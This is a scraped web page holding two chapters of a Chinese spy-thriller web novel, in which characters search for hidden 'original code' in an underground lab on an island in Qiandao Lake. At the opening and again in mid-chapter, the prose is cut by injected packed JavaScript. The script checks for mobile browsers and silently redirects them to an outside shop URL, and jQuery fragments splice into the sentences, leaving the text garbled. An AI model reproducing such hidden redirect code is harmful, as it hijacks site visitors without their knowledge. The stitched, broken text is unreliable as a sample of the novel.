l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004300|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是示意他们坐下,倒了两杯茶:“先喝茶。这是安吉的白茶,你母亲当年最爱喝的。” 苏晚晚端起茶杯的手顿了顿。 “我知道你们有很多疑问。”沈青山缓缓说,“从哪儿开始呢……就从1985年吧。那年我二十五岁,在苏黎世大学读神经科学的博士,同时有一个秘密身份——中国国家安全部的特工,代号‘青松’。” 他喝了口茶,继续: “部里派我接近‘凤凰计划’,原本是为了评估风险。但工作一段时间后,我发现江振华、叶真真他们是真的想做好事。他们想把沾血的数据变成救人的技术,这需要极大的勇气和智慧。我决定帮助他们。” “所以照片上那个说服伦理委员会的人是你?”江砚辞问。 “是我。”沈青山点头,“德国的科研伦理审查很严格,尤其涉及二战时期的数据。我利用了一些关系和人脉,帮他们拿到了许可。那两年,是我职业生涯中最有意义的时光——不是为了任务,而是为了理想。” 他的眼神变得悠远: “1998年,事情开始变糟。‘渡鸦’发现了我的身份,开始追捕。8月17日,一个雨夜,我和真真在苏黎世大学实验室整理最后一批数据,追兵来了。我让她带着核心资料先走,我断后。” 沈青山解开衬衫最上面的两颗纽扣,露出左胸——那里有一道狰狞的疤痕,从锁骨延伸到胸口。 “三枪。一枪在肩膀,一枪在腹部,还有一枪……”他指了指心脏的位置,“擦着心脏过去。我掉进了莱茵河,顺流漂了十几公里,被一个老渔夫捞起来。他把我藏在家里,治了半年伤。” “为什么不联系组织?”苏晚晚问。 “因为不敢。”沈青山苦笑,“我当时伤得太重,昏迷了一个月。醒来时,老渔夫告诉我,河边到处是找我的人,有些看起来像警察,有些明显不是。我不知道谁可以信任,只能继续躲藏。” “然后呢?” “伤愈后,我偷偷回国,但不敢回部里——‘渡鸦’已经知道我的身份,如果我还活着,可能会连累更多人。”沈青山说,“我用了些手段,伪造了死亡证明,换了个身份,在杭州隐姓埋名生活。这些年,我一直在暗中关注‘渡鸦’的动向,也关注着江家和林家的后人。” 他看着江砚辞:“你父亲出事时,我想过出手,但那时‘渡鸦’盯得太紧,我不能暴露。你被诬陷时,我也想过帮你,但还没等到机会,就有人先动手了——是叶峥吧?” 江砚辞点头。 “那孩子……”沈青山笑了笑,“当年我离开时,他才十六岁,听说姐姐牺牲后,哭得撕心裂肺。现在他长大了,完成了我和他姐姐没完成的事。” “你为什么不和他相认?” “因为我失忆了。”沈青山指了指头上的一个位置,“中枪落水时,头部受到重创。关于国安部的记忆,关于‘青松’的身份,大部分都丢失了。我只记得自己是沈青山,记得‘凤凰计划’,记得江振华和叶真真,但忘记了自己为什么在那里,忘记了任务的细节。” 他顿了顿:“这些记忆是在三年前慢慢恢复的。也许是年纪大了,也许是看到‘渡鸦’又开始活跃,刺激了大脑。等我想起一切时,叶峥已经潜伏得很深了,我不能贸然联系他,怕打乱他的计划。” “那现在为什么出现?”江砚辞问。 沈青山从口袋里取出一个小型的U盘:“因为‘渡鸦’没有结束。陆文渊倒台了,亚洲网络被摧毁了,但‘渡鸦’最核心的东西还在——他们的‘长老会’。” “长老会?” “‘渡鸦’不是一个现代意义上的组织,而是一个传承了八十年的秘密结社。”沈青山神色凝重,“创始人是当年‘乌鸦计划’的三个纳粹科学家,战后他们隐姓埋名,将组织改造成跨国网络。每一代有七个‘长老’,分散在世界各地,彼此单线联系。陆文渊接触的只是执行层,真正的决策者从未露面。” 他将U盘推给江砚辞:“这是我二十二年收集的资料。七个长老的代号、可能的活动区域、还有他们一直寻找的东西——你父亲算法的‘原始核心代码’。” 江砚辞愣住了:“什么原始核心?算法不是已经完整公开了吗?” “公开的是临床应用版本。”沈青山摇头,“你父亲当年从‘乌鸦计划’数据中提取的原始代码,有一部分被他故意隐藏了。那不是技术代码,是……某种‘钥匙’。” “钥匙?” “打开‘渡鸦’终极目标的钥匙。”沈青山身体前倾,声音压得很低,“你知道‘乌鸦计划’最初的目标是什么吗?不是制造超级士兵,而是‘永生’——将人类意识数字化,上传到机械躯体,实现另一种形式的永生。你父亲在净化数据时,发现了这个核心代码,但他认为这太危险,所以把它分离出来,藏在了只有他知道的地方。” 江砚辞和苏晚晚对视一眼,都看到了对方眼中的震惊。 “长老会这些年找的从来不是医疗技术,”沈青山继续说,“他们找的是那串原始代码。有了它,配合现代的人工智能和生物技术,他们真的可能实现意识上传。想想看,七个掌握了世界资源和权力的老人,如果获得永生……” 后面的话他没说,但意思已经明了。 “代码在哪里?”江砚辞问。 “我不知道。”沈青山摇头,“但有一件事——你父亲当年经常说一句话:‘最安全的地方,就是最显眼的地方。’也许,代码就藏在已经公开的数据里,只是需要特殊的解码方式。” 院门外突然传来急促的刹车声。沈青山脸色一变,迅速收起茶具:“你们该走了。从后门走,穿过竹林,有条小路通到外面。” “那你呢?” “我在这里等他们。”沈青山平静地说,“二十二年了,该有个了结。” 江砚辞还要说什么,但苏晚晚拉住了他。两人从后门离开,刚钻进竹林,就听到前院传来敲门声,然后是门被踹开的声音。 他们在竹林中奔跑,身后传来打斗声和枪声——装了消音器的那种闷响。 跑到小路尽头时,江砚辞回头看了一眼。老宅的方向升起黑烟,火光开始蔓延。 他握紧了手中的U盘和那把铜钥匙。 新的战斗,开始了。 34. 第三十四章 第三十四章记忆的碎片·千岛湖深处 ## **次日清晨·杭州萧山机场** 叶峥走出抵达大厅时,杭州正下着冬雨。雨水在机场的玻璃幕墙上蜿蜒流淌,将外面的世界扭曲成模糊的水彩画。他穿着一件深灰色的风衣,背着简单的行囊,看起来像个普通的商务旅客,但那双眼睛里的锐利却藏不住。 江砚辞和苏晚晚在接机口等他。三人没有寒暄,直接上车。 “沈青山的住处被烧了。”江砚辞一边开车一边说,声音里带着疲惫,“我们报了警,但消防队赶到时已经烧得差不多了。现场没有发现尸体,但有血迹。他可能逃走了,也可能被带走了。” 叶峥看着车窗外掠过的雨幕:“他留下了什么?” “这个。”苏晚晚递过来一个密封袋,里面是烧焦的日记残页,“我们在竹林边缘发现的,应该是他逃跑时掉落的。大部分字都烧毁了,但有一页还能辨认。” 叶峥接过密封袋,小心地取出那张焦黄的纸页。纸张边缘卷曲发黑,中央部分勉强能看清几行字: **“……代码不在数据库,在‘归墟’。真真当年设的最后一个保险……需要三把钥匙:血脉之钥(江)、记忆之钥(林)、时间之钥(沈)……长老会已经察觉,他们的人在接近……如果我出事,去北纬30°14′,东经119°42′,那里有所有答案……”** 坐标。千岛湖。 “还有这个。”江砚辞将沈青山给的U盘递给叶峥,“他说这里面是二十二年来收集的关于‘渡鸦’长老会的资料。但需要密码才能打开。” 叶峥接过U盘,金属外壳冰凉:“密码可能是……” “沈青山说,‘最安全的地方就是最显眼的地方’。”苏晚晚接话,“我们猜,密码可能和已经公开的数据有关。” 车子驶入市区,雨越下越大。叶峥盯着那张残页,那些烧焦的字迹像钩子一样,试图勾起他记忆深处的东西。 血脉之钥(江)——江砚辞。 记忆之钥(林)——苏晚晚。 时间之钥(沈)——沈青山自己。 三把钥匙。归墟。 他突然感到一阵剧烈的头痛,像有根锥子在颅骨内搅动。破碎的画面闪过:实验室的白色灯光,姐姐焦急的脸,一个年轻男人的声音在说:“小峥,快走!别回头!” “叶峥?”江砚辞注意到他的异常。 “没事。”叶峥揉着太阳穴,“老毛病了。一用力回忆就疼。” 车子停在西湖边的一家酒店。三人开了一个套房,关上门,开始梳理现有的线索。 周屿的视频电话接了进来,他的背景是清华实验室,但脸色很不好看。 “情况比想象的糟。”周屿开门见山,“从昨天开始,对WHO数据库的攻击升级了。攻击者不再只是检查数据完整性,而是在搜索特定的数据模式——他们在找隐藏的‘水印’。” “水印?”苏晚晚问。 “数字水印,一种隐藏在数据中的不可见标记。”周屿调出分析图,“你父亲当年可能在公开的算法里嵌入了特殊的水印,只有用特定的方式才能检测到。攻击者显然知道这一点,他们在用穷举法尝试所有可能的解码方式。” 叶峥皱眉:“能追踪到攻击源吗?” “大部分是肉鸡和跳板,但有一个固定节点……”周屿停顿了一下,“来自日本长崎的一个私人研究所。我查了那个研究所的背景,名义上是做老年病研究的,但资金流向很可疑——大部分来自开曼群岛的离岸基金。” “长老会的据点之一。”叶峥说。 “还有更奇怪的。”周屿继续,“我反向追踪了攻击路径,发现他们在搜索水印的同时,还在向数据库植入一些……新的数据片段。这些片段本身无害,像是某种标记或者信号。” “信号发给谁?” “不知道。但植入的时间很有规律,每隔六小时一次,像在报平安,或者报告进度。”周屿顿了顿,“砚辞哥,我觉得这不是单纯的攻击,更像是在……沟通。” 这个推测让房间里的空气凝重起来。如果攻击者在通过数据库与某人沟通,那接收方是谁?还有其他内应吗? 唐果的电话紧接着打进来。她的声音很急: “林骁破译了那份1945年的加密电报。内容不长,但很吓人:‘凤凰已醒,速寻钥匙。归墟之门将开,永生之约可期。’发报地点是上海,收报方是长崎——就是周屿说的那个研究所!” 电报落款只有一个代号:“**鹤**”。 “鹤……”叶峥喃喃重复这个字。记忆深处有什么东西在搅动,但依然模糊。 “还有,”唐果说,“我们在整理档案时发现,日军实验室的负责人,那个叫松本裕介的军医,战后并没有被审判。他‘自杀’了,但尸体从未找到。有传言说他被美国人带走了,参与了某种秘密项目。” “和‘渡鸦’有关?”江砚辞问。 “时间线对得上。‘渡鸦’正式成立是在1946年,核心成员正好是三个前纳粹科学家和一个日本军医。”唐果顿了顿,“如果松本裕介就是‘鹤’,那他至少已经一百岁了。怎么可能……” “永生之约。”苏晚晚轻声说,“他们真的在研究永生技术。” 线索开始汇聚,但拼图依然残缺。三把钥匙,归墟之门,长老会,永生之约……这些碎片之间,还缺少关键的连接。 叶峥走到窗边,看着雨中的西湖。湖水被雨点打得千疮百孔,就像他破碎的记忆。 “我们需要去千岛湖。”他说,“沈青山留下的坐标是唯一的明确线索。不管那里有什么,我们都得去。” ## **下午两点·驶向千岛湖** 租来的SUV在雨中驶出杭州城,沿着杭新景高速向淳安方向开去。雨刷器规律地摆动,挡风玻璃上的水流像是时间的刻度。 江砚辞开车,苏晚晚在副驾驶研究地图,叶峥坐在后排,闭着眼睛,试图抓住那些闪回的片段。 “北纬30°14′,东经119°42′……”苏晚晚在电子地图上标记,“位置在千岛湖东南部的一个小岛附近。那个岛叫‘雾隐岛’,地图上标注为无人居住,但卫星图像显示上面有建筑物——像是老旧的观测站或者气象站。” “能查到产权吗?”江砚辞问。 “查不到。这个岛在千岛湖旅游开发规划之外,一直没有明确的产权记录。”苏晚晚切换页面,“但我在淳安县志里找到了线索——上世纪六十年代,这里曾经建过一个‘水文地质观测站’,隶属于某个保密单位。七十年代末就废弃了。” 保密单位。叶峥睁开眼睛:“可能是国安部的前身,或者军方。” “沈青山为什么让我们去那里?”江砚辞不解,“一个废弃几十年的观测站,能有什么答案?” “也许不是观测站本身,”叶峥说,“而是下面有什么。” 车子在雨幕中前行。叶峥看着窗外掠过的山水,那些水墨画般的风景在他眼里却变成了另一幅景象——莱茵河畔的雨夜,枪声,鲜血,坠落的失重感…… 他猛地抓住车门扶手。 “你又头疼了?”苏晚晚回头问。 “不只是头疼。”叶峥声音发紧,“我在……想起一些东西。关于沈青山,关于那个雨夜。” 他闭上眼睛,强迫自己深入那片黑暗的记忆之海。 **1998年8月17日,苏黎世,雨夜。** 实验室的灯光惨白。叶真真将最后一块硬盘装入防水包,拉好拉链,转身看着挡在门口的青年——二十五岁的沈青山,代号青松,她的搭档,也是她暗中倾慕的人。 “一起走。”她说,声音在颤抖。 “不行。”沈青山检查着手枪的弹夹,“他们人太多,一起走谁也跑不掉。你带着数据从密道走,我拖住他们。” “你会死的!” “这是我的任务。”沈青山对她笑了笑,那笑容里有她从未见过的温柔,“真真,答应我,保护好那些数据。它们能救人。” 门外传来脚步声。沈青山推了她一把:“快走!” 叶真真咬咬牙,钻进通风管道。在管道合拢前的最后一瞬,她回头看了一眼——沈青山站在实验室门口,背影挺拔如松,然后他关掉了所有的灯。 枪声响起。很多枪声。 叶真真在黑暗的管道里爬行,眼泪混着汗水往下淌。她听到外面有爆炸声,有玻璃碎裂声,有男人的吼叫声。然后是一声巨大的落水声。 她爬出管道,来到莱茵河边。雨下得很大,河水湍急。她看到河面上漂着一些碎片,但没有人影。 她在岸边找了一整夜,直到天亮。只找到一只浸透水的皮鞋,和一副碎裂的眼镜。 那是沈青山的眼镜。 **记忆结束。** 叶峥睁开眼睛,发现自己满脸泪水。前排的江砚辞和苏晚晚都沉默着,车内只有雨声和引擎声。 “我想起来了。”叶峥的声音嘶哑,“那个雨夜……他为了救我姐姐,中枪落水。我们都以为他死了。” 苏晚晚递过来纸巾:“但他活下来了。二十二年,他一直活着,在暗中守护着你们留下的东西。” “可他为什么不联系我们?”叶峥痛苦地问,“如果他早点出现……” “因为他失忆了。”江砚辞说,“头部受伤,记忆受损。直到三年前才开始慢慢恢复。而那时,你已经潜伏得很深,他不敢贸然联系你,怕打乱你的计划,也怕给你带来危险。” 这个解释合理,但叶峥心中的愧疚并未减轻。二十二年来,他以为师兄已经牺牲,每年清明都会在无名烈士碑前献花。而实际上,师兄一直在孤独地战斗,背负着失忆的痛苦,守护着他们共同的理想。 “我们要找到他。”叶峥握紧拳头,“无论付出什么代价。” ## **傍晚五点·千岛湖码头** 雨小了,但雾气起来了。千岛湖的雾名不虚传,乳白色的雾气从湖面升起,将数千个岛屿笼罩在朦胧之中,仿佛仙境,也仿佛迷宫。 码头上很冷清,旅游旺季已经过去,加上雨天,只有零星几个渔民在整理渔网。江砚辞找到一位老船工,租了一条带篷的机动船。 “雾隐岛?”老船工眯起眼睛,“那个岛邪乎得很,本地人都不去的。说是闹鬼。” “闹什么鬼?”苏晚晚问。 “不知道,都是老辈人传的。”老船工摇头,“说是六七十年代,岛上那个观测站里经常半夜亮灯,有人影晃,但白天去看又没人。后来观测站关了,更没人敢去了。前几年有个摄影爱好者非要上岛拍照,结果回来就病了,说是撞邪了。” 叶峥和江砚交换了一个眼神。闹鬼的传说往往是为了掩盖不想让人知道的秘密。 “我们只是去拍些风景照。”江砚辞说,“天气好的时候就回来。加钱,双倍。” 老船工犹豫了一下,最终点头:“那说好了,我只送到岛边,不上岛。你们自己小心。” 机动船突突地驶离码头,钻入雾中。能见度不足五十米,船工靠着GPS和记忆在岛屿间穿行。千岛湖的岛屿星罗棋布,像散落在翡翠盘上的珍珠,但在浓雾中,它们变成了潜伏的巨兽,随时可能将小船吞噬。 一小时后,前方出现一个黑沉沉的影子。雾隐岛到了。 和千岛湖其他开发过的岛屿不同,雾隐岛保持着原始的状态:陡峭的岩壁,茂密的树林,岸边是乱石滩。岛的最高处,隐约能看到一栋灰白色的建筑,像废弃的古堡。 船在离岛三十米处停下,这里水浅,船过不去了。 “我只能送到这儿。”老船工说,“你们蹚水过去吧。记住,天黑前一定回来。这地方的雾,天一黑就更大了,到时候神仙也找不到路。” 三人换上雨靴,带上装备,跳进齐膝深的湖水。湖水冰冷刺骨,他们蹚水上岸,回头时,老船工和船已经消失在雾中,只有引擎声渐渐远去。 岛上异常安静。没有鸟叫,没有虫鸣,只有湖水拍打岸石的声音,和风吹过树林的沙沙声。空气中有股淡淡的霉味,混合着水汽和腐叶的气息。 “这边。”叶峥凭着直觉,带头向岛内走去。 穿过一片竹林,眼前出现了一条石板小路,蜿蜒通向山顶的建筑。小路两旁立着一些石柱,看起来年代久远,柱子上刻着模糊的文字——不是中文,也不是日文,更像某种符号。 苏晚晚用手机拍下那些符号:“像是某种密码,或者图腾。” 继续向上,快到山顶时,那栋建筑的全貌展现在眼前。那确实是一个观测站,三层楼高,混凝土结构,墙皮大面积剥落,窗户全部破碎,像被遗弃了几十年。但奇怪的是,建筑的铁门是新的——不仅新,还装着一个电子锁。 “有人来过。”江砚辞检查门锁,“而且是最近。” 叶峥尝试输入沈青山可能用的密码:生日、代号、任务日期……都不对。就在他们一筹莫展时,苏晚晚突然说:“试试‘归墟’的拼音。” “GUUXU”。 电子锁发出“滴滴”两声,绿灯亮起,门开了。 三人对视一眼,叶峥率先推门进去。 里面不是想象中的废墟,而是一个……整洁得诡异的空间。大厅里摆着简单的家具:一张桌子,几把椅子,一个书柜。桌上有一台老式电脑,竟然还亮着待机灯。书柜里塞满了文件和书籍,墙上挂着地图和图表。 最引人注目的是大厅中央的地面上,有一个向下的楼梯入口,盖板是钢制的,上面有一个类似船舵的转轮。 “地下室。”江砚辞走到楼梯口,向下看去,深不见底。 叶峥走到桌边,打开电脑。没有密码,直接进入桌面。桌面上只有一个文件夹,名字是:“**给后来者**”。 点开,里面是几个文档和一段视频。 视频的拍摄者正是沈青山。他坐在这个大厅里,背景就是他们现在看到的样子,但视频里的他看起来年轻些,像是两三年前拍的。 “如果你们看到这段视频,说明我已经出事了,或者无法亲自解释。”沈青山在视频里说,语气平静,“首先,叶峥,如果你也在看——对不起,这些年没有联系你。但我一直在关注你,为你骄傲。” 叶峥握紧了拳头。 “这个观测站,表面上是六十年代建的,实际上地下部分可以追溯到更早。”沈青山继续,“1945年日军投降前夕,松本裕介将‘金刚计划’的核心资料和部分样本转移到这里。他原本想等时机成熟再回来取,但战后局势变化,他没能如愿。” 视频切换成一些老照片:日军在岛上施工的场景,搬运箱子的士兵,还有松本裕介本人的照片——一个瘦削的日本军人,戴着眼镜,眼神阴鸷。 “松本裕介后来被‘渡鸦’招募,成为长老会的第四位长老,代号‘鹤’。”沈青山说,“但他始终惦记着留在这里的东西。八十年代,‘渡鸦’曾试图进入这个岛,但那时岛上已经有我们的观测站,他们没能得手。” “我是在2005年发现这里的。”视频切回沈青山的脸,“那时我记忆还没恢复,只是凭直觉觉得这个岛不对劲。我偷偷进来,发现了地下室的入口,但打不开。直到三年前记忆恢复,我才想起——打开地下室需要三把钥匙。” 他停顿了一下: “江砚辞,你父亲当年从‘乌鸦计划’数据中提取原始代码后,将代码分成了三部分。一部分藏在他的算法里,那是‘血脉之钥’;一部分交给了你母亲林薇,她把它编成了一段舞蹈密码,那是‘记忆之钥’;最后一部分,他交给了我,让我藏在最安全的地方——我把它存在这里,这是‘时间之钥’。” 视频里,沈青山举起一个金属盒子,大小像一本字典: “三把钥匙齐聚,才能打开盒子,取出完整的原始代码。但这个代码不能落入长老会手中,否则后果不堪设想。所以我在盒子上设置了自毁程序——如果强行打开,或者用错误的方式打开,代码会自动销毁。” 他看向镜头,眼神坚定: “如果你们来了,说明长老会已经逼近。现在,你们需要做出选择:要么取出代码,用它作为诱饵,引出长老会;要么永远封存这里,让代码随着时间消失。我没有答案,选择权交给你们。” 视频结束。 大厅里陷入沉默。只有电脑风扇的嗡嗡声,和地下隐约传来的风声。 “舞蹈密码……”苏晚晚喃喃道,“我母亲编的舞蹈……” 她突然想起什么,从手机里翻出一段视频——那是她小时候,母亲教她跳的一段舞。母亲说,这是“只有我们母女懂的密码”。 她一直以为那是母亲编的童话。 “我需要看原版。”苏晚晚说,“我家里有我母亲留下的舞蹈笔记,里面可能有完整记录。” “但现在来不及回去取了。”江砚辞说,“而且,长老会的人可能已经在路上了。” 叶峥走到地下室的入口,转动那个船舵转轮。很重,但他用尽全力,转轮开始转动,发出刺耳的金属摩擦声。 转了三圈后,“咔哒”一声,盖板松动了。江砚辞上前帮忙,两人合力拉开沉重的钢制盖板。 下面是一个垂直的竖井,有铁梯通向黑暗深处。一股冷风从下面吹上来,带着陈腐的气味和某种……微弱的电子设备运行的声音。 “下面有电。”叶峥说。 三人戴上头灯,叶峥带头,江砚辞殿后,苏晚晚在中间,依次爬下竖井。 竖井深约十五米,到底部是一个横向的隧道,高约两米,宽可容两人并行。隧道壁是混凝土浇筑的,很粗糙,看起来是匆忙建造的。地面上有轨道,像是用来运送重物的。 沿着隧道走了约五十米,前方出现一扇厚重的防爆门。门上有一个复杂的机械锁,锁盘上有三个钥匙孔,分别标着:**江、林、沈**。 “三把钥匙。”江砚辞说。 “但我们只有一把。”苏晚晚看向叶峥手中的铜钥匙——那是沈青山给的,应该是“沈”之钥。 “血脉之钥在我身上。”江砚辞突然说,“我父亲留给我那个金属吊坠——母亲说,那是‘最后的钥匙’。” 他摘下一直戴在脖子上的吊坠。那个赛车方向盘形状的金属片,在头灯光下泛着冷光。他试着将吊坠插入标着“江”的钥匙孔——严丝合缝。 “记忆之钥……”苏晚晚皱眉,“我需要跳那段舞。但我只记得片段。” “试试看。”叶峥说,“也许不需要完整跳完,只需要触发某种识别。” 苏晚晚闭上眼睛,回忆母亲教她的动作。那是一个很奇怪的舞蹈,动作不连贯,像是在模拟某种图案或轨迹。她凭着记忆开始跳,在狭窄的隧道里,她的身影在头灯光中晃动。 跳了大约一分钟,什么也没发生。 就在她准备放弃时,隧道壁突然亮了起来——不是灯光,而是一些荧光的线条,随着她的动作在墙上延伸、交织,最后形成了一个复杂的图案。 图案的中心,出现了一个凹陷,形状正好和苏晚晚小时候戴的一个项链吊坠吻合——那是母亲留给她的,她一直戴着。 苏晚晚取下项链,将吊坠按入凹陷。 “咔哒。”标着“林”的钥匙孔弹开了。 现在,三把钥匙齐了两把。 “还差沈之钥。”江砚辞看向叶峥手中的铜钥匙。 叶峥将钥匙插入第三个孔,转动。 防爆门内部传来一连串机械运作的声音,像沉睡多年的巨兽在苏醒。然后,门缓缓向两侧滑开。 门后的景象,让三人都屏住了呼吸。 那是一个巨大的地下空间,至少有半个足球场大。空间中央是一个圆形的平台,平台上摆放着几十台老式的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004301|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电子设备——有些像是四十年代的德国造机械计算机,有些像是七十年代的国产电子管计算机,最诡异的是,这些设备全都亮着灯,在正常运行。 设备的指示灯闪烁着,纸带打印机在咔哒咔哒地输出数据,示波器的屏幕上跳动着波形。这个本该废弃几十年的地下实验室,竟然还在运转。 “这不可能……”江砚辞喃喃道,“这些设备早就该报废了。” “除非有人在维护。”叶峥走向那些设备。 靠近后,他们发现每台设备都连接到一个中央的控制台。控制台上有一块相对现代的液晶屏,屏幕上显示着复杂的监控数据:温度、湿度、电压、还有……生物信号。 “生物信号?”苏晚晚凑近看,“这里还有活物?” 叶峥顺着生物信号监测的线路寻找,在实验室的最深处,发现了一排低温储藏罐。罐体是透明的,里面浸泡着一些……组织样本。 大脑组织。人类的大脑。 每个罐子上都有标签,写着编号和日期。最早的日期是1945年8月,最近的……是2023年11月。 “他们在保存实验体的大脑。”叶峥的声音发冷,“‘渡鸦’的永生研究——不是制造新的身体,而是保存旧的大脑,等待技术成熟后转移意识。” 江砚辞感到一阵恶心。他想起了缅甸雨林里那些实验体,那些被强行植入机械装置的人。原来那只是初级实验,真正的目标在这里——保存大脑,实现意识上传。 控制台突然发出“滴滴”的警报声。屏幕自动切换,显示出一个视频通话请求。 请求方的ID只有一个字:**鹤**。 叶峥、江砚辞、苏晚晚对视一眼。叶峥点头,江砚辞按下接听键。 屏幕亮起,出现了一个老人的脸。非常老,脸上布满老年斑和皱纹,但眼睛异常明亮,像是年轻人的眼睛嵌在衰老的面具里。他坐在一张轮椅上,背景是一个日式风格的书房。 “晚上好,客人们。”老人开口,声音沙哑但清晰,说的是中文,带着日本口音,“我是松本裕介,代号‘鹤’。很高兴你们找到了这里。” 松本裕介。一百零三岁。 “你还活着。”叶峥说。 “勉强。”松本裕介笑了,笑容牵动脸上的皱纹,像干枯的树皮在动,“这具身体快不行了。所以我很需要你们找到的东西——江振华藏起来的原始代码。有了它,我就能离开这具腐朽的躯壳,获得新生。” “你不会得逞的。”江砚辞冷声道。 “是吗?”松本裕介摇摇头,“年轻人,你根本不知道自己在对抗什么。‘渡鸦’存在了八十年,经历过战争、冷战、全球化,我们渗透进世界的每一个角落。你们以为摧毁了几个据点,抓了一个陆文渊,就赢了?” 他的目光变得锐利: “长老会还有六个人活着。我们掌握着这个世界的财富、权力、技术。我们想要的东西,从来没有得不到的。” “那为什么还需要我们来找代码?”苏晚晚问,“你们自己找不到吗?” “因为江振华设了一个陷阱。”松本裕介坦然承认,“他把代码分成了三部分,每一部分都需要特定的‘钥匙’才能解锁。我们试过强行破解,但每次都会触发自毁程序。所以,我们需要你们——合法的继承人,来帮我们打开那个盒子。” 他顿了顿: “做个交易吧。你们交出代码,我保证你们的生命安全,还给你们足够的财富,让你们安度余生。甚至……我可以让‘渡鸦’停止所有非法实验,专注于合法的医疗研究。这不是很好吗?双赢。” “我们凭什么相信你?”叶峥问。 “因为我没有选择。”松本裕介指了指自己衰老的身体,“我最多还能活三个月。如果拿不到代码,我会死。而一个知道自己要死的人,是什么事都做得出来的。你们不希望更多的人成为陪葬品吧?” 赤裸裸的威胁。 “给你们二十四小时考虑。”松本裕介说,“我在千岛湖的‘天屿度假村’等你们。带着代码来,我们和平解决。否则……” 屏幕黑掉了。 实验室里一片死寂。只有那些老设备还在嗡嗡运行,像在倒计时。 “现在怎么办?”苏晚晚问。 叶峥走到控制台前,开始操作那些设备。他在国安部受过训练,能操作各种老式系统。很快,他调出了这个地下实验室的完整监控记录。 记录显示,沈青山确实来过这里——就在一周前。他在实验室里待了两天,下载了一些数据,然后离开了。监控最后一次拍到他,是他背着背包从竖井爬上去的画面。 “他还活着,而且来过这里。”叶峥说,“但他为什么不在这里等我们?” 江砚辞突然想到什么,走到那些低温储藏罐前,仔细查看标签。在一个最新的罐子前,他停住了。 罐子里的大脑组织很新鲜,标签上的日期是三天前。标签上写着一个编号:**SGQ-001**。 SGQ。沈青山的缩写。 罐子下面压着一张纸条。江砚辞小心地取出来,上面是沈青山熟悉的字迹: **“砚辞、晚晚、小峥: 如果你们看到这张纸条,说明我已经做出了选择。 松本裕介想要的不只是代码,还有‘载体’——一个健康的、年轻的身体,用来承载他的意识。他选中了我的身体,因为我曾经深度参与‘凤凰计划’,大脑结构最适合意识转移。 三天前,他们抓住了我。但他们在提取我大脑时,我启动了预设的应急程序——我在大脑皮层植入了微型干扰器,一旦检测到非法意识侵入,就会释放神经毒素,毁灭所有神经突触。 现在,我的大脑在这里,但意识已经消散。这是我的最后一份‘时间之钥’——用我的死亡,换取代码的安全。 盒子在中央控制台下面的暗格里。三把钥匙齐聚才能打开。记住:不要交给他们,也不要销毁它。代码是危险的,但也可能是人类突破生命极限的关键。怎么使用,交给你们判断。 最后,小峥,别为我难过。这二十二年,我活着的每一天都在等待今天。我终于可以……去见我妹妹了。 青松绝笔”** 纸条从江砚辞手中滑落。 叶峥冲过来,抢过纸条看完,然后冲向那个标着SGQ-001的储藏罐。他拍打着罐体,像是要把里面的大脑唤醒。但罐子里的组织只是静静地悬浮在防腐液中,没有任何反应。 “师兄……”叶峥跪在罐子前,额头抵着冰冷的玻璃,眼泪无声地滑落。 二十二年的寻找,二十二年的愧疚,最终等来的是这样一个结局。 苏晚晚捂住嘴,眼泪涌出。江砚辞闭上眼睛,感到一阵深深的无力。 许久,叶峥站起来,擦干眼泪,眼神重新变得坚定:“我们得完成他的遗愿。” 他们找到中央控制台下面的暗格,里面果然有一个金属盒子,和沈青山视频里展示的一样。盒子表面有三个感应区,分别对应三把钥匙。 江砚辞用吊坠触碰第一个感应区。盒子发出“滴”的一声,一个绿灯亮起。 苏晚晚用项链吊坠触碰第二个感应区。第二个绿灯亮起。 叶峥拿起沈青山留下的铜钥匙,犹豫了一下,然后用钥匙触碰第三个感应区。 第三个绿灯亮起。 盒子内部传来机械运作的声音,然后“咔哒”一声,盖子弹开了。 里面没有芯片,没有U盘,只有一张薄如蝉翼的透明胶片,上面蚀刻着极其微小的电路图案。在头灯光下,那些电路像星辰一样闪烁着微光。 这就是父亲藏了二十年的原始代码。能让人类意识数字化的钥匙。 “现在,”江砚辞看着这张胶片,“我们该怎么做?” 叶峥正要说话,突然,实验室的灯光全部熄灭,应急灯亮起红光。刺耳的警报声响起,广播里传来合成语音: **“检测到未授权访问。自毁程序启动。倒计时:十分钟。”** “他骗了我们!”苏晚晚惊道,“松本裕介根本没打算给我们时间考虑!” “快走!”叶峥抓起盒子,将胶片小心收好,“原路返回!” 三人冲向隧道。刚跑进隧道,身后就传来爆炸声——实验室开始自毁了。 他们在黑暗中狂奔,爬上竖井,冲出观测站。外面天已经完全黑了,雾更浓了,几乎看不到路。 跑到岸边时,整个岛屿都在震动。观测站方向传来更大的爆炸声,火光冲破了雾气。 “船呢?”江砚辞对着湖面大喊。 没有回应。老船工可能已经走了,或者出事了。 “游过去!”叶峥说,“最近的岛大概五百米,我们能游到!” 三人脱下外套,只带着最必要的东西,跳进冰冷的湖水。湖水刺骨,但求生的本能让他们不顾一切地向前游。 游到一半时,身后传来惊天动地的爆炸声——整个雾隐岛都在崩塌,沉入湖中。 冲击波推着湖水形成巨浪,将他们推向更远。江砚辞抓住苏晚晚,叶峥抓住江砚辞,三人死死抓住彼此,在浪涛中挣扎。 不知过了多久,他们的脚终于触到了湖底。筋疲力尽地爬上一个小岛的沙滩,瘫倒在冰冷的沙石上。 夜空中的雾气被爆炸的火光驱散了一些,他们看到雾隐岛的方向,只剩下一片翻腾的水泡和逐渐消散的浓烟。 那个藏了七十八年秘密的岛屿,那个沈青山最后战斗的地方,永远沉入了千岛湖底。 叶峥看着那片湖水,轻声说:“师兄,安息吧。” 